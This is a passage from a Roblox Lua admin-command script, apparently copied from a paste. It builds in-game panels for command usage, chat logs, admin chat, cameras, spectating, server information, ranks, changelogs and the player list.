  3475. chat.Size=UDim2.new(0,100,0,30)
  3476. chat.Font='ArialBold'
  3477. chat.TextStrokeTransparency=0
  3478. chat.TextColor3=Color3.new(1,1,1)
  3479. chat.Text='Press ; than Type and press Enter.'
  3480. chat.TextScaled=true
  3481. chat.TextWrapped=true
  3482. title.TextScaled=true
  3483. title.TextWrapped=true
  3484. button.TextScaled=true
  3485. chat.ClearTextOnFocus=true
  3486. button.TextWrapped=true
  3487. title.TextStrokeTransparency=0
  3488. button.MouseButton1Click:connect(function()
  3489. pcall(function() g:Destroy() end)
  3490. end)
  3491. chat.FocusLost:connect(function(enterPressed)
  3492. if enterPressed then
  3493. if #chat.Text>0 then
  3494. game:GetService('Chat'):Chat(plr.Character.Head,chat.Text,Enum.ChatColor.Red)
  3495. end
  3496. chat.Text='Press ; than Type and press Enter.'
  3497. end
  3498. end)
  3499. mouse=plr:GetMouse()
  3500. mouse.KeyDown:connect(function(key)
  3501. if key==';' then
  3502. chat:CaptureFocus()
  3503. end
  3504. end)]],false,set.AssignName())
  3505. end
  3506.  
  3507. if msg:lower() == "usage" then
  3508. if plr.PlayerGui:findFirstChild(GuiName.."USAGEGUI") then return end
  3509. local scr, cmf, ent, num, top = set.ScrollGui()
  3510. scr.Name = GuiName.."USAGEGUI" scr.Parent = plr.PlayerGui
  3511. top.Text='Command Usage'
  3512. local function makeuse(message)
  3513. local cl = ent:Clone()
  3514. cl.Parent = cmf
  3515. cl.Text = message
  3516. cl.Position = UDim2.new(0,0,0,num*20)
  3517. cl.Size=UDim2.new(0,370,0,20)
  3518. cl.TextScaled=true
  3519. cl.FontSize='Size24'
  3520. cl.Font='ArialBold'
  3521. num = num +1
  3522. end
  3523. makeuse('Special Functions: ')
  3524. makeuse('Ex: :kill FUNCTION, so like :kill '..set['sprefix']..'all')
  3525. makeuse('Put /e in front to make it silent (/e :kill pancake)')
  3526. makeuse('me - Runs a command on you')
  3527. makeuse(set['sprefix']..'all - Runs a command on everyone')
  3528. makeuse(set['sprefix']..'admins - Runs a command on all admins in the game')
  3529. makeuse(set['sprefix']..'nonadmins - Same as !admins but for people who are not an admin')
  3530. makeuse(set['sprefix']..'others - Runs command on everyone BUT you')
  3531. makeuse(set['sprefix']..'random - Runs command on a random person')
  3532. makeuse('%TEAMNAME - Runs command on everyone in the team TEAMNAME Ex: :kill %raiders')
  3533. makeuse('$GROUPID - Run a command on everyone in the group GROUPID, Will default to the GroupId setting if no id is given')
  3534. makeuse('Certain commands can be used by anyone, these commands have ! infront, such as !clean and !rejoin')
  3535. makeuse(':kill me,noob1,noob2,'..set['sprefix']..'random,%raiders,$123456,!nonadmins')
  3536. makeuse(':batch ff me/sparkles me/rocket jim')
  3537. makeuse(':repeat 10(how many times to run the cmd) 1(how long in between runs) repsawn jim (the command to run without a prefix)')
  3538. makeuse('Place owners can edit some settings in-game via the :settings command')
  3539. makeuse('Please refer to the Tips and Tricks section under the settings in the script for more detailed explanations and command descriptions')
  3540. cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
  3541. end
  3542.  
  3543. if msg:lower() == "chatlog" or msg:lower() == "chatlogs" then
  3544. if plr.PlayerGui:findFirstChild(GuiName.."CHATLOGGUI") then return end
  3545. local scr, cmf, ent, num, top = set.ScrollGui()
  3546. scr.Name = GuiName.."CHATLOGGUI" scr.Parent = plr.PlayerGui
  3547. top.Text='Chat Logs'
  3548. local function clogdisplay(p)
  3549. num=0
  3550. for i,v in pairs(set.chatlogs) do
  3551. if num<=set['MaxNumberOfLogs'] and (v.Name:lower():sub(1,#p)==p:lower() or v.Message:lower():find(p:lower()) or v.Time:lower():sub(1,#p)==p:lower() or p:lower()=='all') then
  3552. local cl = ent:Clone()
  3553. cl.Parent = cmf
  3554. cl.Text = num.." | "..v.Time.." - "..v.Name..": "..v.Message
  3555. cl.Position = UDim2.new(0,0,0,num*20)
  3556. cl.Size=UDim2.new(0,370,0,20)
  3557. cl.TextScaled=true
  3558. cl.FontSize='Size24'
  3559. cl.Font='ArialBold'
  3560. num = num +1
  3561. end
  3562. end
  3563. cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
  3564. end
  3565. local b=Instance.new('TextBox',cmf.Parent)
  3566. b.Size=UDim2.new(0,130,0,20)
  3567. b.Position=UDim2.new(0,10,0,5)
  3568. b.BackgroundColor3=set['SecondaryColor']
  3569. b.BackgroundTransparency=set['Transparency']
  3570. b.TextColor3=set['TextColor']
  3571. b.TextStrokeTransparency=0
  3572. b.Text=''
  3573. b.ZIndex=15
  3574. b.Font='ArialBold'
  3575. b.TextScaled=true
  3576. b.TextWrapped=true
  3577. b.Changed:connect(function(o)
  3578. if o=='Text' and (b.Text~='' or string.len(b.Text)>0) then
  3579. cmf:ClearAllChildren()
  3580. clogdisplay(b.Text)
  3581. elseif o=='Text' and (b.Text=='' or string.len(b.Text)==0) then
  3582. cmf:ClearAllChildren()
  3583. clogdisplay('all')
  3584. end
  3585. end)
  3586. local refresh = Instance.new("TextButton", cmf.Parent)
  3587. refresh.Style = "Custom"
  3588. refresh.Size = UDim2.new(0,20,0,20)
  3589. refresh.TextScaled=true
  3590. refresh.Position = UDim2.new(1,-50,0,5)
  3591. refresh.ZIndex = 10
  3592. refresh.Font = "ArialBold"
  3593. refresh.FontSize = "Size18"
  3594. refresh.Text = "R"
  3595. refresh.BackgroundColor3=set['PrimaryColor']
  3596. refresh.BorderColor3=set['SecondaryColor']
  3597. refresh.TextColor3 = set['SecondaryColor']
  3598. refresh.BackgroundTransparency=set['Transparency']
  3599. refresh.MouseButton1Click:connect(function() cmf:ClearAllChildren() clogdisplay('all') end)
  3600. clogdisplay('all')
  3601. end
  3602.  
  3603. if msg:lower() == "adminchat" or msg:lower() == "achat" then
  3604. set.LoadOnClient(plr,[[
  3605. script.Parent=nil
  3606. RemoteEvent=game:service('Workspace'):FindFirstChild(']]..set.RemoteName..[[')
  3607. plr=game.Players.LocalPlayer
  3608. if plr.PlayerGui:FindFirstChild(']]..GuiName..[[CHAT') then plr.PlayerGui[']]..GuiName..[[CHAT']:Destroy() end
  3609. local g=Instance.new('ScreenGui')
  3610. g.Name=']]..GuiName..[[CHAT'
  3611. g.Parent=plr.PlayerGui
  3612. local f=Instance.new('Frame',g)
  3613. local button=Instance.new('TextButton',f)
  3614. local title=Instance.new('TextLabel',f)
  3615. local chat=Instance.new('TextBox',f)
  3616. f.BackgroundColor3=Color3.new(0,0,0)
  3617. f.BorderColor3=Color3.new(1,1,1)
  3618. f.BackgroundTransparency=0.5
  3619. f.Draggable=true
  3620. f.Active=true
  3621. f.Position=UDim2.new(1,-900,0,50)
  3622. f.Size=UDim2.new(0,100,0,50)
  3623. f.ClipsDescendants=true
  3624. button.BackgroundColor3=Color3.new(1,1,1)
  3625. button.BorderColor3=Color3.new(0,0,0)
  3626. button.BackgroundTransparency=0.5
  3627. button.Position=UDim2.new(0,85,0,2)
  3628. button.Size=UDim2.new(0,13,0,13)
  3629. button.Font='ArialBold'
  3630. button.Text='X'
  3631. button.TextColor3=Color3.new(1,1,1)
  3632. button.TextStrokeTransparency=0
  3633. title.Text='Chat'
  3634. title.Font='ArialBold'
  3635. title.TextColor3=Color3.new(1,1,1)
  3636. title.BackgroundTransparency=1
  3637. title.Position=UDim2.new(0,5,0,0)
  3638. title.Size=UDim2.new(0,90,0,15)
  3639. chat.BackgroundColor3=Color3.new(0,0,0)
  3640. chat.BorderColor3=Color3.new(1,1,1)
  3641. chat.BackgroundTransparency=0.5
  3642. chat.Position=UDim2.new(0,0,0,20)
  3643. chat.Size=UDim2.new(0,100,0,30)
  3644. chat.Font='ArialBold'
  3645. chat.TextStrokeTransparency=0
  3646. chat.TextColor3=Color3.new(1,1,1)
  3647. chat.Text='Press ; than Type and press Enter.'
  3648. chat.TextScaled=true
  3649. chat.TextWrapped=true
  3650. title.TextScaled=true
  3651. title.TextWrapped=true
  3652. button.TextScaled=true
  3653. chat.ClearTextOnFocus=true
  3654. button.TextWrapped=true
  3655. title.TextStrokeTransparency=0
  3656. button.MouseButton1Click:connect(function()
  3657. pcall(function() g:Destroy() end)
  3658. end)
  3659. chat.FocusLost:connect(function(enterPressed)
  3660. if enterPressed then
  3661. if #chat.Text>0 then
  3662. RemoteEvent:FireServer(']]..set.RemoteCmd..[[adminchat',chat.Text)
  3663. end
  3664. chat.Text='Press ; than Type and press Enter.'
  3665. end
  3666. end)
  3667. mouse=plr:GetMouse()
  3668. mouse.KeyDown:connect(function(key)
  3669. if key==';' then
  3670. chat:CaptureFocus()
  3671. end
  3672. end)]],false,set.AssignName())
  3673. set.AdminChat(plr)
  3674. end
  3675.  
  3676. if msg:lower() == "cameras" or msg:lower() == "cams" then
  3677. if plr.PlayerGui:findFirstChild(GuiName.."CAMERAGUI") then return end
  3678. local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."CAMERAGUI" scr.Parent = plr.PlayerGui
  3679. top.Text='Cameras'
  3680. local function GrabCams(p)
  3681. num=0
  3682. for i,v in pairs(set.cameras) do
  3683. if (p=='all' or v.Name:lower():find(p)) then
  3684. local cl = ent:clone()
  3685. cl.Parent = cmf
  3686. cl.Text = num.." | "..v.Name
  3687. cl.Position = UDim2.new(0,0,0,num*20)
  3688. cl.Size=UDim2.new(0,300,0,20)
  3689. cl.TextScaled=true
  3690. cl.FontSize='Size24'
  3691. cl.Font='ArialBold'
  3692. local kill = Instance.new("TextButton", cl)
  3693. kill.Style = "Custom"
  3694. kill.Size = UDim2.new(0,15,0,15)
  3695. kill.TextScaled=true
  3696. kill.Position = UDim2.new(1,50,0,0)
  3697. kill.ZIndex = 2
  3698. kill.Font = "ArialBold"
  3699. kill.FontSize = "Size18"
  3700. kill.Text = "X"
  3701. kill.BackgroundColor3=set['PrimaryColor']
  3702. kill.BorderColor3=set['SecondaryColor']
  3703. kill.TextColor3 = set['SecondaryColor']
  3704. kill.BackgroundTransparency=set['Transparency']
  3705. kill.MouseButton1Click:connect(function() table.remove(set.cameras, i) v:Destroy() cmf:ClearAllChildren() GrabCams('all') end)
  3706. local view = Instance.new("TextButton", cl)
  3707. view.Style = "Custom"
  3708. view.Size = UDim2.new(0,15,0,15)
  3709. view.TextScaled=true
  3710. view.Position = UDim2.new(1,25,0,0)
  3711. view.ZIndex = 2
  3712. view.Font = "ArialBold"
  3713. view.FontSize = "Size18"
  3714. view.Text = "V"
  3715. view.BackgroundColor3=set['PrimaryColor']
  3716. view.BorderColor3=set['SecondaryColor']
  3717. view.TextColor3 = set['SecondaryColor']
  3718. view.BackgroundTransparency=set['Transparency']
  3719. view.MouseButton1Click:connect(function()
  3720. set.LoadOnClient(plr,[[cam=game.Workspace:FindFirstChild("]]..v.Name..[[")
  3721. game.Workspace.CurrentCamera.CameraType='Custom'
  3722. game.Workspace.CurrentCamera.CameraSubject=cam
  3723. game.Workspace.CurrentCamera.CoordinateFrame=CFrame.new(cam.Position)
  3724. game.Workspace.CurrentCamera.Focus=cam.CFrame
  3725. game.Workspace.CurrentCamera.FieldOfView=80]],true,
  3726. set.AssignName())
  3727. end)
  3728. num = num +1
  3729. end
  3730. end
  3731. cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
  3732. end
  3733. local refresh = Instance.new("TextButton", cmf.Parent)
  3734. refresh.Style = "Custom"
  3735. refresh.Size = UDim2.new(0,20,0,20)
  3736. refresh.Position = UDim2.new(1,-75,0,5)
  3737. refresh.ZIndex = 10
  3738. refresh.Font = "ArialBold"
  3739. refresh.FontSize = "Size18"
  3740. refresh.Text = "R"
  3741. refresh.BackgroundColor3=set['PrimaryColor']
  3742. refresh.BorderColor3=set['SecondaryColor']
  3743. refresh.TextColor3 = set['SecondaryColor']
  3744. refresh.BackgroundTransparency=set['Transparency']
  3745. refresh.MouseButton1Click:connect(function() cmf:ClearAllChildren() GrabCams('all') end)
  3746. local reset = Instance.new("TextButton", cmf.Parent)
  3747. reset.Style = "Custom"
  3748. reset.Size = UDim2.new(0,20,0,20)
  3749. reset.Position = UDim2.new(1,-50,0,5)
  3750. reset.ZIndex = 10
  3751. reset.Font = "ArialBold"
  3752. reset.FontSize = "Size18"
  3753. reset.Text = "V"
  3754. reset.BackgroundColor3=set['PrimaryColor']
  3755. reset.BorderColor3=set['SecondaryColor']
  3756. reset.TextColor3 = set['SecondaryColor']
  3757. reset.BackgroundTransparency=set['Transparency']
  3758. reset.MouseButton1Click:connect(function()
  3759. set.LoadOnClient(plr,[[game.Workspace.CurrentCamera.CameraType='Custom'
  3760. game.Workspace.CurrentCamera.CameraSubject=game.Players.LocalPlayer.Character.Humanoid
  3761. game.Workspace.CurrentCamera.FieldOfView=70]],true,set.AssignName())
  3762. end)
  3763. local b=Instance.new('TextBox',cmf.Parent)
  3764. b.Size=UDim2.new(0,130,0,20)
  3765. b.Position=UDim2.new(0,10,0,5)
  3766. b.BackgroundColor3=set['SecondaryColor']
  3767. b.BackgroundTransparency=set['Transparency']
  3768. b.TextColor3=set['TextColor']
  3769. b.TextStrokeTransparency=0
  3770. b.Text=''
  3771. b.ZIndex=15
  3772. b.Font='ArialBold'
  3773. b.TextScaled=true
  3774. b.TextWrapped=true
  3775. b.Changed:connect(function(o)
  3776. if o=='Text' and (b.Text~='' or string.len(b.Text)>0) then
  3777. cmf:ClearAllChildren()
  3778. num=0
  3779. GrabCams(b.Text)
  3780. elseif o=='Text' and (b.Text=='' or string.len(b.Text)==0) then
  3781. cmf:ClearAllChildren()
  3782. num=0
  3783. GrabCams('all')
  3784. end
  3785. end)
  3786. GrabCams('all')
  3787. end
  3788.  
  3789. if msg:lower():sub(1,8) == "makecam " then
  3790. coroutine.wrap(function()
  3791. if plr and plr.Character and plr.Character:FindFirstChild('Head') then
  3792. print('Checkelect')
  3793. if workspace:FindFirstChild('Camera: '..msg:sub(9)) then
  3794. set.Hint(msg:sub(9).." Already Exist!",{plr})
  3795. print('O it already exist qq')
  3796. else
  3797. print('Makin cam')
  3798. local cam=Instance.new('Part',workspace)
  3799. cam.Position=plr.Character.Head.Position
  3800. cam.Anchored=true
  3801. cam.BrickColor=BrickColor.new('Really black')
  3802. cam.CanCollide=false
  3803. cam.Locked=true
  3804. cam.FormFactor='Custom'
  3805. cam.Size=Vector3.new(1,1,1)
  3806. cam.TopSurface='Smooth'
  3807. cam.BottomSurface='Smooth'
  3808. cam.Name='Camera: '..msg:sub(9)
  3809. Instance.new('PointLight',cam)
  3810. cam.Transparency=0.9
  3811. local mesh=Instance.new('SpecialMesh',cam)
  3812. mesh.Scale=Vector3.new(1,1,1)
  3813. mesh.MeshType='Sphere'
  3814. table.insert(set.cameras,cam)
  3815. end
  3816. end
  3817. end)()
  3818. end
  3819.  
  3820. if msg:lower():sub(1,5) == 'view ' then
  3821. coroutine.wrap(function()
  3822. local plz=set.GetPlayers(plr, msg:lower():sub(6))
  3823. for i,v in pairs(plz) do
  3824. if v and v.Character:FindFirstChild('Humanoid') then
  3825. set.LoadOnClient(plr,[[cam=game.Workspace:FindFirstChild("]]..v.Character.Name..[[")
  3826. game.Workspace.CurrentCamera.CameraType='Track'
  3827. game.Workspace.CurrentCamera.CameraSubject=cam.Humanoid
  3828. game.Workspace.CurrentCamera.FieldOfView=70]],true,set.AssignName())
  3829. end
  3830. end
  3831. end)()
  3832. end
  3833.  
  3834. if msg:lower()=='resetview' or msg:lower()=='rv' then
  3835. set.LoadOnClient(plr,[[game.Workspace.CurrentCamera.CameraType='Custom'
  3836. game.Workspace.CurrentCamera.CameraSubject=game.Players.LocalPlayer.Character.Humanoid
  3837. game.Workspace.CurrentCamera.FieldOfView=70]],true,set.AssignName())
  3838. end
  3839.  
  3840. if msg:lower()=='map' then
  3841. set.LoadOnClient(plr,[[
  3842. local p=Instance.new('Part',game.Workspace)
  3843. p.Locked=true
  3844. p.Transparency=1
  3845. p.Anchored=true
  3846. p.Size=Vector3.new(0.1,0.1,0.1)
  3847. p.CanCollide=false
  3848. p.CFrame=game.Players.LocalPlayer.Character.Head.CFrame+Vector3.new(0,50,0)
  3849. local cam=game.Workspace.CurrentCamera
  3850. cam.FieldOfView=80
  3851. cam.CameraType='Follow'
  3852. cam.CameraSubject=p
  3853. game.Players.LocalPlayer.Character.Torso.Anchored=true
  3854. local k
  3855. local run
  3856. Mouse=game.Players.LocalPlayer:GetMouse()
  3857. local ff=Instance.new('ForceField',game.Players.LocalPlayer.Character)
  3858. function onKeyDown(key)
  3859. run=true
  3860. repeat
  3861. wait()
  3862. print(key)
  3863. k=key
  3864. if key=='a' then
  3865. p.CFrame=p.CFrame+Vector3.new(5,0,0)
  3866. elseif key=='d' then
  3867. p.CFrame=p.CFrame+Vector3.new(-5,0,0)
  3868. elseif key=='w' then
  3869. p.CFrame=p.CFrame+Vector3.new(0,0,5)
  3870. elseif key=='s' then
  3871. p.CFrame=p.CFrame+Vector3.new(0,0,-5)
  3872. elseif key=='e' then
  3873. p.CFrame=p.CFrame+Vector3.new(0,5,0)
  3874. elseif key=='q' then
  3875. p.CFrame=p.CFrame+Vector3.new(0,-5,0)
  3876. elseif key=='x' then
  3877. p:Destroy()
  3878. cam.CameraType='Custom'
  3879. cam.CameraSubject=game.Players.LocalPlayer.Character.Humanoid
  3880. game.Players.LocalPlayer.Character.Torso.Anchored=false
  3881. if ff then ff:Destroy() end
  3882. script:Destroy()
  3883. end
  3884. until run==false
  3885. end
  3886. function onKeyUp(key)
  3887. if key==k then run=false end
  3888. end
  3889. function buttonDown()
  3890. game.Players.LocalPlayer.Character.Torso.CFrame=Mouse.Hit+Vector3.new(0,5,0)
  3891. end
  3892.  
  3893. Mouse.KeyDown:connect(onKeyDown)
  3894. Mouse.KeyUp:connect(onKeyUp)
  3895. Mouse.Button1Down:connect(buttonDown)
  3896. ]],false,set.AssignName())
  3897. end
  3898.  
  3899. if msg:lower() == "ranks" or msg:lower() == "adminranks" then
  3900. if plr.PlayerGui:findFirstChild(GuiName.."RANKSGUI") then return end
  3901. local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."RANKSGUI" scr.Parent = plr.PlayerGui
  3902. top.Text='Ranks With Admin'
  3903. for i,v in pairs(set['SpecificRanks']) do
  3904. if v then
  3905. local cl = ent:Clone()
  3906. cl.Parent = cmf
  3907. if v.Rank and v.Type then
  3908. cl.Text = num.." | "..v.Rank..' - '..v.Type
  3909. else
  3910. cl.Text = num.." | "..v
  3911. end
  3912. cl.Position = UDim2.new(0,0,0,num*20)
  3913. cl.Size=UDim2.new(0,370,0,20)
  3914. cl.TextScaled=true
  3915. cl.FontSize='Size24'
  3916. cl.Font='ArialBold'
  3917. num = num +1
  3918. end
  3919. end
  3920. cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
  3921. end
  3922.  
  3923. if msg:lower() == "details" or msg:lower() == "meters" or msg:lower()=='serverinfo' then
  3924. if plr.PlayerGui:findFirstChild(GuiName.."DETAILSGUI") then return end
  3925. local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."DETAILSGUI" scr.Parent = plr.PlayerGui
  3926. top.Text='Server Information'
  3927. local cl = ent:Clone()
  3928. cl.Parent = cmf
  3929. cl.Text = 'Owner: '..game:service('MarketplaceService'):GetProductInfo(game.PlaceId).Creator.Name
  3930. cl.Position = UDim2.new(0,0,0,num*20)
  3931. cl.Size=UDim2.new(0,370,0,20)
  3932. cl.TextScaled=true
  3933. cl.FontSize='Size24'
  3934. cl.Font='ArialBold'
  3935. num = num +1
  3936. local cl = ent:Clone()
  3937. cl.Parent = cmf
  3938. cl.Text = 'Place: '..game:service('MarketplaceService'):GetProductInfo(game.PlaceId).Name
  3939. cl.Position = UDim2.new(0,0,0,num*20)
  3940. cl.Size=UDim2.new(0,370,0,20)
  3941. cl.TextScaled=true
  3942. cl.FontSize='Size24'
  3943. cl.Font='ArialBold'
  3944. num = num +1
  3945. local cl = ent:Clone()
  3946. cl.Parent = cmf
  3947. coroutine.wrap(function()
  3948. repeat
  3949. cl.Text = 'Players: '..#game.Players:children()
  3950. wait(1)
  3951. until cl.Parent==nil
  3952. end)()
  3953. cl.Position = UDim2.new(0,0,0,num*20)
  3954. cl.Size=UDim2.new(0,370,0,20)
  3955. cl.TextScaled=true
  3956. cl.FontSize='Size24'
  3957. cl.Font='ArialBold'
  3958. num = num +1
  3959. local cl = ent:Clone()
  3960. cl.Parent = cmf
  3961. coroutine.wrap(function()
  3962. repeat
  3963. local nilplayers=0
  3964. for i,v in pairs(game:service('NetworkServer'):children()) do
  3965. if v and v:GetPlayer() and not game.Players:FindFirstChild(v:GetPlayer().Name) then
  3966. nilplayers=nilplayers+1
  3967. end
  3968. end
  3969. cl.Text = 'Nil Players: '..nilplayers
  3970. wait(1)
  3971. until cl.Parent==nil
  3972. end)()
  3973. cl.Position = UDim2.new(0,0,0,num*20)
  3974. cl.Size=UDim2.new(0,370,0,20)
  3975. cl.TextScaled=true
  3976. cl.FontSize='Size24'
  3977. cl.Font='ArialBold'
  3978. num = num +1
  3979. local cl = ent:Clone()
  3980. cl.Parent = cmf
  3981. coroutine.wrap(function()
  3982. repeat
  3983. cl.Text='Server Speed: '..set.Round(1/getfenv(0).Wait())
  3984. wait(1)
  3985. until cl.Parent==nil
  3986. end)()
  3987. cl.Position = UDim2.new(0,0,0,num*20)
  3988. cl.Size=UDim2.new(0,370,0,20)
  3989. cl.TextScaled=true
  3990. cl.FontSize='Size24'
  3991. cl.Font='ArialBold'
  3992. num = num +1
  3993. local cl = ent:Clone()
  3994. cl.Parent = cmf
  3995. coroutine.wrap(function()
  3996. repeat
  3997. cl.Text='Your Ping: '..set.Ping(plr)..'s'
  3998. wait(1)
  3999. until cl.Parent==nil
  4000. end)()
  4001. cl.Position = UDim2.new(0,0,0,num*20)
  4002. cl.Size=UDim2.new(0,370,0,20)
  4003. cl.TextScaled=true
  4004. cl.FontSize='Size24'
  4005. cl.Font='ArialBold'
  4006. num = num +1
  4007. local cl = ent:Clone()
  4008. cl.Parent = cmf
  4009. coroutine.wrap(function()
  4010. repeat
  4011. cl.Text='Workspace objects: '..#game.Workspace:children()
  4012. wait(5)
  4013. until cl.Parent==nil
  4014. end)()
  4015. cl.Position = UDim2.new(0,0,0,num*20)
  4016. cl.Size=UDim2.new(0,370,0,20)
  4017. cl.TextScaled=true
  4018. cl.FontSize='Size24'
  4019. cl.Font='ArialBold'
  4020. num = num +1
  4021. local cl = ent:Clone()
  4022. cl.Parent = cmf
  4023. cl.Text='Owner Id: '..game.CreatorId
  4024. cl.Position = UDim2.new(0,0,0,num*20)
  4025. cl.Size=UDim2.new(0,370,0,20)
  4026. cl.TextScaled=true
  4027. cl.FontSize='Size24'
  4028. cl.Font='ArialBold'
  4029. num = num +1
  4030. local cl = ent:Clone()
  4031. cl.Parent = cmf
  4032. cl.Text='Place Id: '.. game.PlaceId
  4033. cl.Position = UDim2.new(0,0,0,num*20)
  4034. cl.Size=UDim2.new(0,370,0,20)
  4035. cl.TextScaled=true
  4036. cl.FontSize='Size24'
  4037. cl.Font='ArialBold'
  4038. num = num +1
  4039. local cl = ent:Clone()
  4040. cl.Parent = cmf
  4041. cl.Text='Place version: '..game.PlaceVersion
  4042. cl.Position = UDim2.new(0,0,0,num*20)
  4043. cl.Size=UDim2.new(0,370,0,20)
  4044. cl.TextScaled=true
  4045. cl.FontSize='Size24'
  4046. cl.Font='ArialBold'
  4047. num = num +1
  4048. local cl = ent:Clone()
  4049. cl.Parent = cmf
  4050. cl.Text='Script version: '..version
  4051. cl.Position = UDim2.new(0,0,0,num*20)
  4052. cl.Size=UDim2.new(0,370,0,20)
  4053. cl.TextScaled=true
  4054. cl.FontSize='Size24'
  4055. cl.Font='ArialBold'
  4056. num = num +1
  4057. local cl = ent:Clone()
  4058. cl.Parent = cmf
  4059. cl.Text='Server Start Time: '..serverstarttime
  4060. cl.Position = UDim2.new(0,0,0,num*20)
  4061. cl.Size=UDim2.new(0,370,0,20)
  4062. cl.TextScaled=true
  4063. cl.FontSize='Size24'
  4064. cl.Font='ArialBold'
  4065. num = num +1
  4066. local cl = ent:Clone()
  4067. cl.Parent = cmf
  4068. coroutine.wrap(function()
  4069. repeat
  4070. cl.Text='Current Time: '..set.GetTime()
  4071. wait(1)
  4072. until cl.Parent==nil
  4073. end)()
  4074. cl.Position = UDim2.new(0,0,0,num*20)
  4075. cl.Size=UDim2.new(0,370,0,20)
  4076. cl.TextScaled=true
  4077. cl.FontSize='Size24'
  4078. cl.Font='ArialBold'
  4079. num = num +1
  4080. local cl = ent:Clone()
  4081. cl.Parent = cmf
  4082. coroutine.wrap(function()
  4083. repeat
  4084. cl.Text='TimeOfDay: '..game:service('Lighting').TimeOfDay
  4085. wait(1)
  4086. until cl.Parent==nil
  4087. end)()
  4088. cl.Position = UDim2.new(0,0,0,num*20)
  4089. cl.Size=UDim2.new(0,370,0,20)
  4090. cl.TextScaled=true
  4091. cl.FontSize='Size24'
  4092. cl.Font='ArialBold'
  4093. num = num +1
  4094. local cl = ent:Clone()
  4095. cl.Parent = cmf
  4096. coroutine.wrap(function()
  4097. repeat
  4098. local nonnumber=0
  4099. for i,v in pairs(game:service('NetworkServer'):children()) do
  4100. if v and v:GetPlayer() and not set.ChkAdmin(v:GetPlayer().Name,false) then
  4101. nonnumber=nonnumber+1
  4102. end
  4103. end
  4104. cl.Text='Non-Admins In-Game: '..nonnumber
  4105. wait(1)
  4106. until cl.Parent==nil
  4107. end)()
  4108. cl.Position = UDim2.new(0,0,0,num*20)
  4109. cl.Size=UDim2.new(0,370,0,20)
  4110. cl.TextScaled=true
  4111. cl.FontSize='Size24'
  4112. cl.Font='ArialBold'
  4113. num = num +1
  4114. local cl = ent:Clone()
  4115. cl.Parent = cmf
  4116. coroutine.wrap(function()
  4117. repeat
  4118. local adminnumber=0
  4119. for i,v in pairs(game:service('NetworkServer'):children()) do
  4120. if v and v:GetPlayer() and set.ChkAdmin(v:GetPlayer().Name,false) then
  4121. adminnumber=adminnumber+1
  4122. end
  4123. end
  4124. cl.Text='Admins In-Game: '..adminnumber
  4125. wait(1)
  4126. until cl.Parent==nil
  4127. end)()
  4128. cl.Position = UDim2.new(0,0,0,num*20)
  4129. cl.Size=UDim2.new(0,370,0,20)
  4130. cl.TextScaled=true
  4131. cl.FontSize='Size24'
  4132. cl.Font='ArialBold'
  4133. num = num +1
  4134. local cl = ent:Clone()
  4135. cl.Parent = cmf
  4136. coroutine.wrap(function()
  4137. repeat
  4138. cl.Text='Admin objects: '..#set.objects
  4139. wait(1)
  4140. until cl.Parent==nil
  4141. end)()
  4142. cl.Position = UDim2.new(0,0,0,num*20)
  4143. cl.Size=UDim2.new(0,370,0,20)
  4144. cl.TextScaled=true
  4145. cl.FontSize='Size24'
  4146. cl.Font='ArialBold'
  4147. num = num +1
  4148. local cl = ent:Clone()
  4149. cl.Parent = cmf
  4150. coroutine.wrap(function()
  4151. repeat
  4152. cl.Text='Admin cameras: '..#set.cameras
  4153. wait(1)
  4154. until cl.Parent==nil
  4155. end)()
  4156. cl.Position = UDim2.new(0,0,0,num*20)
  4157. cl.Size=UDim2.new(0,370,0,20)
  4158. cl.TextScaled=true
  4159. cl.FontSize='Size24'
  4160. cl.Font='ArialBold'
  4161. num = num +1
  4162. cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
  4163. end
  4164.  
  4165. if msg:lower() == "changeloggui" or msg:lower()=='changelogs' or msg:lower()=='changelog' then
  4166. if plr.PlayerGui:findFirstChild(GuiName.."CHANGELOGGUI") then return end
  4167. local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."CHANGELOGGUI" scr.Parent = plr.PlayerGui
  4168. top.Text='Change Log'
  4169. for i,v in pairs(changelog) do
  4170. local cl = ent:Clone()
  4171. cl.Parent = cmf
  4172. cl.Text=v
  4173. cl.Position = UDim2.new(0,0,0,num*20)
  4174. cl.Size=UDim2.new(0,380,0,20)
  4175. cl.TextScaled=true
  4176. cl.FontSize='Size24'
  4177. cl.Font='ArialBold'
  4178. num = num +1
  4179. end
  4180. cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
  4181. end
  4182.  
  4183. if msg:lower() == "allplayers" or msg:lower()=='players' or msg:lower()=='playerlist' then
  4184. if plr.PlayerGui:findFirstChild(GuiName.."ALLPLAYERSGUI") then return end
  4185. local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."ALLPLAYERSGUI" scr.Parent = plr.PlayerGui
  4186. top.Text='Player List'
  4187. local function playerlist(p)
  4188. num=0
  4189. for i,v in pairs(set.GrabNilPlayers('all')) do
  4190. if (v.Name:lower():sub(1,#p)==p:lower() or p:lower()=='all') then
  4191. local cl = ent:Clone()
  4192. cl.Parent = cmf
  4193. if game.Players:FindFirstChild(v.Name) then
  4194. cl.Text = v.Name..' ('..v.Name:lower()..') Ping: Pinging...'
  4195. coroutine.wrap(function()
  4196. repeat
  4197. cl.Text = v.Name..' ('..v.Name:lower()..') Ping: '..set.Ping(v)..'s'
  4198. wait(1)
  4199. until not cl
  4200. end)()
  4201. else
  4202. cl.Text = '(NIL) '..v.Name..' ('..v.Name:lower()..') Ping: '
  4203. coroutine.wrap(function()
  4204. repeat
  4205. cl.Text = '(NIL) '..v.Name..' ('..v.Name:lower()..') Ping: '..set.Ping(v)..'s'
  4206. wait(1)
  4207. until not cl.Parent
  4208. end)()
  4209. end
  4210. cl.Position = UDim2.new(0,0,0,num*20)
  4211. cl.Size=UDim2.new(0,380,0,20)
  4212. cl.TextScaled=true
  4213. cl.FontSize='Size24'
  4214. cl.Font='ArialBold'
  4215. cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
  4216. num = num +1
  4217. end
  4218. end
  4219. end
